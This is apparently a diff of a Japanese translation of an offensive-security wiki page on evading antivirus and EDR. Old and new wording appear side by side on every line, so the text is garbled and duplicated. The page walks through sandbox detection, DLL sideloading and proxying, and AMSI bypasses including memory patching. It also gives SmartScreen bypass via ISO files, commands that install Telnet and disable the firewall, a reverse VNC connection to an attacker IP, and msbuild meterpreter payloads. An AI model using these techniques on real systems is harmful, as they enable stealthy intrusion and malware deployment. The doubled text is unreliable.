静的検出は、バイナリやスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立てたり、ファイル自体から情報を抽出したりすることで達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります: 静的検出は、バイナリまたはスクリプト内の既知の悪意のある文字列やバイトの配列にフラグを立て、ファイル自体から情報を抽出することによって達成されます(例:ファイルの説明、会社名、デジタル署名、アイコン、チェックサムなど)。これは、既知の公開ツールを使用すると、分析されて悪意のあるものとしてフラグが立てられている可能性が高いため、より簡単に捕まる可能性があることを意味します。この種の検出を回避する方法はいくつかあります:
* **暗号化** * **暗号化**
@ -31,57 +37,57 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
* **難読化** * **難読化**
時には、AVを通過させるためにバイナリやスクリプト内のいくつかの文字列を変更するだけで済むことがありますが、何を難読化しようとしているかによっては、時間がかかる作業になることがあります。 時には、バイナリやスクリプト内のいくつかの文字列を変更するだけでAVを通過できることがありますが、何を難読化しようとしているかによっては、時間がかかる作業になることがあります。
* **カスタムツール** * **カスタムツール**
独自のツールを開発すれば、既知の悪意のあるシグネチャは存在しませんが、これには多くの時間と労力がかかります。 独自のツールを開発すれば、既知の悪シグネチャは存在しませんが、これには多くの時間と労力がかかります。
{% hint style="info" %} {% hint style="info" %}
Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。 Windows Defenderの静的検出に対抗する良い方法は[ThreatCheck](https://github.com/rasta-mouse/ThreatCheck)です。これは基本的にファイルを複数のセグメントに分割し、Defenderにそれぞれを個別にスキャンさせることで、バイナリ内のフラグが立てられた文字列やバイトを正確に教えてくれます。
{% endhint %} {% endhint %}
実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックすることをお勧めします 実践的なAV回避に関するこの[YouTubeプレイリスト](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf)をぜひチェックしてください
### **動的分析** ### **動的分析**
動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することですブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど。この部分は扱いが少し難しいことがありますが、サンドボックスを回避するためにできることはいくつかあります。 動的分析は、AVがバイナリをサンドボックス内で実行し、悪意のある活動を監視することですブラウザのパスワードを復号化して読み取ろうとする、LSASSのミニダンプを実行するなど。この部分は扱いが少し難しいすが、サンドボックスを回避するためにできることはいくつかあります。
* **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。問題は、多くのAVのサンドボックスが実装方法によってはスリープをスキップできることです。 * **実行前のスリープ** 実装方法によっては、AVの動的分析を回避するための素晴らしい方法になることがあります。AVはユーザーの作業フローを中断しないようにファイルをスキャンするための時間が非常に短いため、長いスリープを使用するとバイナリの分析を妨げることができます。問題は、多くのAVのサンドボックスが実装方法によってはスリープをスキップできることです。
* **マシンのリソースをチェック** 通常、サンドボックスは扱えるリソースが非常に少ない(例:< 2GB RAMためそうでなければユーザーのマシンを遅くする可能性がありますここでは非常にクリエイティブになることもできますたとえばCPUの温度やファンの速度をチェックすることですべてがサンドボックスに実装されているわけではありません * **マシンのリソースをチェック** 通常、サンドボックスは作業に使用できるリソースが非常に少ない(例:< 2GB RAMためそうでなければユーザーのマシンを遅くする可能性がありますここでは非常にクリエイティブになることもできますたとえばCPUの温度やファンの速度をチェックすることですべてがサンドボックスに実装されているわけではありません
* **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーをターゲットにしたい場合、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合、プログラムを終了させることができます。 * **マシン固有のチェック** "contoso.local"ドメインに参加しているユーザーのワークステーションをターゲットにしたい場合、コンピュータのドメインをチェックして指定したものと一致するかどうかを確認できます。一致しない場合、プログラムを終了させることができます。
Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。 Microsoft Defenderのサンドボックスのコンピュータ名はHAL9THであるため、爆発前にマルウェア内でコンピュータ名をチェックできます。名前がHAL9THと一致する場合、Defenderのサンドボックス内にいることを意味するため、プログラムを終了させることができます。
<figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>出典: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure> <figure><img src="../.gitbook/assets/image (209).png" alt=""><figcaption><p>source: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
サンドボックスに対抗するための[@mgeeky](https://twitter.com/mariuszbit)からの他の非常に良いヒント [@mgeeky](https://twitter.com/mariuszbit)からのサンドボックスに対抗するための他の非常に良いヒント
<figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev チャンネル</p></figcaption></figure> <figure><img src="../.gitbook/assets/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、次のことを自問する必要があります: この投稿で以前に述べたように、**公開ツール**は最終的に**検出される**ため、次のことを自問する必要があります:
たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。 たとえば、LSASSをダンプしたい場合、**本当にmimikatzを使用する必要がありますか**それとも、LSASSをダンプする別のあまり知られていないプロジェクトを使用できますか。
正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢のようなものです。したがって、達成しようとしていることの代替手段を探してください。 正しい答えはおそらく後者です。mimikatzを例に取ると、これはおそらくAVやEDRによって最もフラグが立てられたマルウェアの一つであり、プロジェクト自体は非常にクールですが、AVを回避するためにそれを扱うのは悪夢です。したがって、達成しようとしていることの代替手段を探してください。
{% hint style="info" %} {% hint style="info" %}
回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。 回避のためにペイロードを変更する際は、Defenderで**自動サンプル送信をオフにする**ことを確認し、長期的に回避を達成することが目標である場合は、**VIRUSTOTALにアップロードしないでください**。特定のAVによってペイロードが検出されるかどうかを確認したい場合は、VMにインストールし、自動サンプル送信をオフにし、結果に満足するまでそこでテストしてください。
{% endhint %} {% endhint %}
## EXEとDLL ## EXEs vs DLLs
可能な限り、常に**回避のためにDLLを使用することを優先してください**。私の経験では、DLLファイルは通常**はるかに検出されにくく**、分析されにくいため、場合によっては検出を回避するための非常に簡単なトリックですもちろん、ペイロードがDLLとして実行される方法がある場合 可能な限り、常に**回避のためにDLLを使用することを優先してください**。私の経験では、DLLファイルは通常**はるかに検出されにくく**、分析されにくいため、いくつかのケースで検出を回避するための非常に簡単なトリックですもちろん、ペイロードがDLLとして実行される方法がある場合
この画像に示されているように、HavocのDLLペイロードはantiscan.meでの検出率が4/26であるのに対し、EXEペイロードは7/26の検出率です。 この画像に示されているように、HavocのDLLペイロードはantiscan.meでの検出率が4/26であるのに対し、EXEペイロードは7/26の検出率です。
<figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.meの通常のHavoc EXEペイロードと通常のHavoc DLLの比較</p></figcaption></figure> <figure><img src="../.gitbook/assets/image (1130).png" alt=""><figcaption><p>antiscan.meの通常のHavoc EXEペイロードと通常のHavoc DLLの比較</p></figcaption></figure>
ここでは、DLLファイルを使用してはるかにステルス性を高めるためのいくつかのトリックを示します。 次に、DLLファイルを使用してはるかにステルス性を高めるためのいくつかのトリックを示します。
## DLLサイドローディングとプロキシング ## DLLサイドローディングとプロキシング
**DLLサイドローディング**は、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置することです。 **DLLサイドローディング**は、ローダーによって使用されるDLL検索順序を利用し、被害者アプリケーションと悪意のあるペイロードを並べて配置します。
DLLサイドローディングに脆弱なプログラムをチェックするには、[Siofra](https://github.com/Cybereason/siofra)と次のPowerShellスクリプトを使用できます DLLサイドローディングに脆弱なプログラムをチェックするには、[Siofra](https://github.com/Cybereason/siofra)と次のPowerShellスクリプトを使用できます
@ -96,7 +102,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
このコマンドは、「C:\Program Files\\」内でDLLハイジャックに脆弱なプログラムのリストと、それらが読み込もうとするDLLファイルを出力します。 このコマンドは、「C:\Program Files\\」内でDLLハイジャックに脆弱なプログラムのリストと、それらが読み込もうとするDLLファイルを出力します。
私はあなた**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。 私はあなた**DLLハイジャック可能/サイドロード可能なプログラムを自分で調査することを強くお勧めします**。この技術は適切に行えば非常にステルス性がありますが、一般に知られているDLLサイドロード可能なプログラムを使用すると、簡単に捕まる可能性があります。
悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。 悪意のあるDLLをプログラムが読み込むことを期待する名前で配置するだけでは、ペイロードは読み込まれません。プログラムはそのDLL内に特定の関数を期待しているため、この問題を解決するために、**DLLプロキシング/フォワーディング**という別の技術を使用します。
@ -115,7 +121,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
``` ```
{% endcode %} {% endcode %}
最後のコマンドは、DLLソースコードテンプレートと元の名前を変更したDLLの2つのファイルを生成します。 最後のコマンドは、DLLソースコードテンプレートと元の名前を変更したDLLの2つのファイルを生成します。
<figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
@ -134,7 +140,7 @@ C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hija
<figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (193).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
私は**強く推奨**します、[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、また[ippsecのビデオ](https://www.youtube.com/watch?v=3eROsG_WNpE)を見て、私たちがより深く議論したことについて学んでください。 私は**強く推奨**します、[S3cur3Th1sSh1tのtwitch VOD](https://www.twitch.tv/videos/1644171543)を視聴し、また[ippsecの動画](https://www.youtube.com/watch?v=3eROsG_WNpE)を見て、私たちがより深く議論したことについて学んでください。
{% endhint %} {% endhint %}
## [**Freeze**](https://github.com/optiv/Freeze) ## [**Freeze**](https://github.com/optiv/Freeze)
@ -156,7 +162,7 @@ Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freez
## AMSI (アンチマルウェアスキャンインターフェース) ## AMSI (アンチマルウェアスキャンインターフェース)
AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless\_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンできたため、ペイロードを**メモリ内で直接実行**できれば、AVは何も防ぐことができませんでした。なぜなら、十分な可視性がなかったからです。 AMSIは「[ファイルレスマルウェア](https://en.wikipedia.org/wiki/Fileless\_malware)」を防ぐために作成されました。最初は、AVは**ディスク上のファイル**のみをスキャンできたため、ペイロードを**直接メモリ内で実行**できれば、AVは何も防ぐことができませんでした。なぜなら、十分な可視性がなかったからです。
AMSI機能はWindowsのこれらのコンポーネントに統合されています。 AMSI機能はWindowsのこれらのコンポーネントに統合されています。
@ -182,15 +188,15 @@ AMSIを回避する方法はいくつかあります
AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。 AMSIは主に静的検出で機能するため、読み込もうとするスクリプトを変更することは、検出を回避する良い方法となる可能性があります。
ただし、AMSIは複数のレイヤーがあってもスクリプトを難読化解除する能力があるため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。 ただし、AMSIは複数のがあってもスクリプトを難読化解除する能力があるため、難読化の方法によっては悪い選択肢となる可能性があります。これにより、回避が簡単ではなくなります。ただし、時には変数名をいくつか変更するだけで済むこともあるため、どれだけフラグが立てられているかによります。
* **AMSIバイパス** * **AMSIバイパス**
AMSIはpowershellまたはcscript.exe、wscript.exeなどプロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行しても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。 AMSIはpowershellまたはcscript.exe、wscript.exeなどプロセスにDLLをロードすることによって実装されているため、特権のないユーザーとして実行しても簡単に改ざんすることが可能です。このAMSIの実装の欠陥により、研究者たちはAMSIスキャンを回避するための複数の方法を見つけました。
**エラーを強制する** **エラーを強制する**
AMSIの初期化を失敗させるamsiInitFailedことで、現在のプロセスに対してスキャンが開始されない結果になります。元々これは[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftは広範な使用を防ぐためのシグネチャを開発しました。 AMSIの初期化を失敗させるamsiInitFailedことで、現在のプロセスに対してスキャンが開始されない結果になります。元々これは[Matt Graeber](https://twitter.com/mattifestation)によって公開され、Microsoftはより広範な使用を防ぐためのシグネチャを開発しました。
{% code overflow="wrap" %} {% code overflow="wrap" %}
```powershell ```powershell
@ -198,7 +204,7 @@ AMSIの初期化を失敗させるamsiInitFailedことで、現在のプ
``` ```
{% endcode %} {% endcode %}
現在のpowershellプロセスAMSIを無効にするためには、1行のpowershellコードだけで済みました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。 現在のpowershellプロセスに対してAMSIを無効にするためには、1行のpowershellコードだけで済みました。この行はもちろんAMSI自体によってフラグが立てられているため、この技術を使用するにはいくつかの修正が必要です。
こちらは、私がこの[Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)から取った修正されたAMSIバイパスです。 こちらは、私がこの[Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db)から取った修正されたAMSIバイパスです。
```powershell ```powershell
@ -218,7 +224,7 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
**メモリパッチ** **メモリパッチ**
この技術は最初に [@RastaMouse](https://twitter.com/\_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけて、E\_INVALIDARGのコードを返すように上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。 この技術は最初に [@RastaMouse](https://twitter.com/\_RastaMouse/) によって発見され、amsi.dll内の「AmsiScanBuffer」関数のアドレスを見つけて、E\_INVALIDARGのコードを返す命令で上書きすることを含みます。これにより、実際のスキャンの結果は0を返し、これはクリーンな結果として解釈されます。
{% hint style="info" %} {% hint style="info" %}
より詳細な説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)をお読みください。 より詳細な説明については、[https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/)をお読みください。
@ -226,15 +232,15 @@ Keep in mind, that this will probably get flagged once this post comes out, so y
また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)や[このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。 また、PowerShellを使用してAMSIをバイパスするための他の多くの技術もあります。詳細については、[**このページ**](basic-powershell-for-pentesters/#amsi-bypass)や[このリポジトリ](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell)をチェックしてください。
また、このスクリプトはメモリパッチを介して新しいPowershをパッチします。 また、このスクリプトはメモリパッチを介して新しいPowershをパッチします。
## 難読化 ## 難読化
C#のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールはいくつかあります: C#のクリアテキストコードを**難読化**したり、バイナリをコンパイルするための**メタプログラミングテンプレート**を生成したり、**コンパイルされたバイナリを難読化**するために使用できるツールはいくつかあります:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール** * [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: C# 難読化ツール**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/)コンパイルスイートのオープンソースフォークを提供し、[コード難読化](http://en.wikipedia.org/wiki/Obfuscation\_\(software\))と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。 * [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): このプロジェクトの目的は、[LLVM](http://www.llvm.org/)コンパイルスイートのオープンソースフォークを提供し、[コード難読化](http://en.wikipedia.org/wiki/Obfuscation\_\(software\))と改ざん防止を通じてソフトウェアのセキュリティを向上させることです。
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、`C++11/14`言語を使用して、外部ツールを使用せず、コンパイラを変更せずに、コンパイル時に難読化されたコードを生成する方法を示しています。 * [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscatorは、`C++11/14`言語を使用して、外部ツールを使用せず、コンパイラを変更することなく、コンパイル時に難読化されたコードを生成する方法を示しています。
* [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。 * [**obfy**](https://github.com/fritzone/obfy): C++テンプレートメタプログラミングフレームワークによって生成された難読化された操作のレイヤーを追加し、アプリケーションをクラッキングしようとする人の生活を少し難しくします。
* [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなどのさまざまなpeファイルを難読化できるx64バイナリ難読化ツールです。 * [**Alcatraz**](https://github.com/weak1337/Alcatraz)**:** Alcatrazは、.exe、.dll、.sysなどのさまざまなpeファイルを難読化できるx64バイナリ難読化ツールです。
* [**metame**](https://github.com/a0rtega/metame): Metameは、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。 * [**metame**](https://github.com/a0rtega/metame): Metameは、任意の実行可能ファイル用のシンプルなメタモルフィックコードエンジンです。
@ -250,7 +256,7 @@ Microsoft Defender SmartScreenは、エンドユーザーが潜在的に悪意
<figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (664).png" alt=""><figcaption></figcaption></figure>
SmartScreenは主に評判ベースのアプローチで機能し、一般的でないダウンロードアプリケーションはSmartScreenをトリガーし、エンドユーザーがファイルを実行するのを警告し防止します(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。 SmartScreenは主に評判ベースのアプローチで機能し、あまりダウンロードされないアプリケーションはSmartScreenをトリガーし、エンドユーザーがファイルを実行するのを警告し防ます(ただし、ファイルは「詳細情報」->「それでも実行」をクリックすることで実行できます)。
**MoTW**Mark of The Webは、[NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))で、Zone.Identifierという名前が付けられ、インターネットからファイルをダウンロードすると自動的に作成され、ダウンロード元のURLと共に保存されます。 **MoTW**Mark of The Webは、[NTFS Alternate Data Stream](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\))で、Zone.Identifierという名前が付けられ、インターネットからファイルをダウンロードすると自動的に作成され、ダウンロード元のURLと共に保存されます。
@ -296,13 +302,13 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
C# バイナリをメモリにロードすることはかなり前から知られており、AVに捕まることなくポストエクスプロイトツールを実行するための非常に優れた方法です。 C# バイナリをメモリにロードすることはかなり前から知られており、AVに捕まることなくポストエクスプロイトツールを実行するための非常に優れた方法です。
ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体AMSIをパッチすることだけを心配すればよいです。 ペイロードはディスクに触れずに直接メモリにロードされるため、プロセス全体のためにAMSIをパッチすることだけを心配すればよいです。
ほとんどのC2フレームワークsliver、Covenant、metasploit、CobaltStrike、Havocなどは、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが、異なる方法があります: ほとんどのC2フレームワークsliver、Covenant、metasploit、CobaltStrike、Havocなどは、すでにC#アセンブリをメモリ内で直接実行する機能を提供していますが、異なる方法があります:
* **フォーク&ラン** * **フォーク&ラン**
これは**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォーク&ランメソッドの利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかない場合や捕まった場合、**私たちのインプラントが生き残る可能性がはるかに高**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。 これは**新しい犠牲プロセスを生成し**、その新しいプロセスにポストエクスプロイトの悪意のあるコードを注入し、悪意のあるコードを実行し、終了したら新しいプロセスを終了させることを含みます。これには利点と欠点があります。フォーク&ランメソッドの利点は、実行が**私たちのビーコンインプラントプロセスの外部**で行われることです。これは、ポストエクスプロイトアクションの何かがうまくいかない場合や捕まった場合、**インプラントが生き残る可能性がはるかに高くなる**ことを意味します。欠点は、**行動検出**によって捕まる可能性が**高くなる**ことです。
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
@ -313,7 +319,7 @@ C# バイナリをメモリにロードすることはかなり前から知ら
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
C# アセンブリのロードについてもっと知りたい場合は、この記事 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) とそのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) をチェックしてください。 C# アセンブリのロードについてもっと読みたい場合は、この記事 [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) とそのInlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) をチェックしてください。
{% endhint %} {% endhint %}
C# アセンブリを**PowerShellからロードする**こともできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) と [S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk) をチェックしてください。 C# アセンブリを**PowerShellからロードする**こともできます。 [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) と [S3cur3th1sSh1tのビデオ](https://www.youtube.com/watch?v=oe11Q-3Akuk) をチェックしてください。
@ -328,7 +334,7 @@ C# アセンブリを**PowerShellからロードする**こともできます。
## 高度な回避 ## 高度な回避
回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮る必要があるため、成熟した環境では完全に検出されないことはほぼ不可能です。 回避は非常に複雑なトピックであり、時には1つのシステム内の多くの異なるテレメトリソースを考慮に入れる必要があるため、成熟した環境では完全に検出されないことはほぼ不可能です。
対抗する環境はそれぞれ独自の強みと弱みを持っています。 対抗する環境はそれぞれ独自の強みと弱みを持っています。
@ -336,7 +342,7 @@ C# アセンブリを**PowerShellからロードする**こともできます。
{% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %} {% embed url="https://vimeo.com/502507556?embedded=true&owner=32913914&source=vimeo_logo" %}
[@mariuszbit](https://twitter.com/mariuszbit) による深い回避についての別の素晴らしいトークもあります。 [@mariuszbit](https://twitter.com/mariuszbit) による深い回避に関するもう1つの素晴らしいトークです。
{% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %} {% embed url="https://www.youtube.com/watch?v=IbA7Ung39o4" %}
@ -344,7 +350,7 @@ C# アセンブリを**PowerShellからロードする**こともできます。
### **Defenderが悪意のあるものとして見つける部分を確認する** ### **Defenderが悪意のあるものとして見つける部分を確認する**
[**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものとして見つけている部分を特定し**、それを分割してくれます。\ [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) を使用すると、**バイナリの一部を削除**して、**Defenderが悪意のあるものとして見つける部分を特定し**、それを分割してくれます。\
同じことを行う別のツールは、[**avred**](https://github.com/dobin/avred) で、オープンウェブでサービスを提供しています [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) 同じことを行う別のツールは、[**avred**](https://github.com/dobin/avred) で、オープンウェブでサービスを提供しています [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnetサーバー** ### **Telnetサーバー**
@ -357,7 +363,7 @@ pkgmgr /iu:"TelnetServer" /quiet
```bash ```bash
sc config TlntSVR start= auto obj= localsystem sc config TlntSVR start= auto obj= localsystem
``` ```
**Telnetポートの変更** (ステルス) とファイアウォールの無効化: **Telnetポートを変更** (ステルス)し、ファイアウォールを無効にします:
``` ```
tlntadmn config port=80 tlntadmn config port=80
netsh advfirewall set allprofiles state off netsh advfirewall set allprofiles state off
@ -376,7 +382,7 @@ netsh advfirewall set allprofiles state off
#### **リバース接続** #### **リバース接続**
**攻撃者**は **ホスト内で** バイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**をキャッチする準備をします。その後、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` を実行します。 **攻撃者**は、自身の**ホスト**内でバイナリ `vncviewer.exe -listen 5900` を実行し、リバース **VNC接続**をキャッチする準備をします。その後、**被害者**内で: winvncデーモン `winvnc.exe -run` を開始し、`winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900` を実行します。
**警告:** ステルスを維持するために、いくつかのことを行ってはいけません **警告:** ステルスを維持するために、いくつかのことを行ってはいけません
@ -404,7 +410,7 @@ sel lport 4444
generate #payload is the default name generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole #This will generate a meterpreter xml and a rcc file for msfconsole
``` ```
今、**リスターを開始**するには `msfconsole -r file.rc` を使用し、**xmlペイロードを実行**するには: 今、**リスターを開始**します `msfconsole -r file.rc` と **xmlペイロードを実行**します:
``` ```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml
``` ```
@ -525,12 +531,12 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
``` ```
* [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp) * [https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp](https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp)
* [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/) * [https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/](https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/)
* [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf) * [https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans_To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans_To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf)
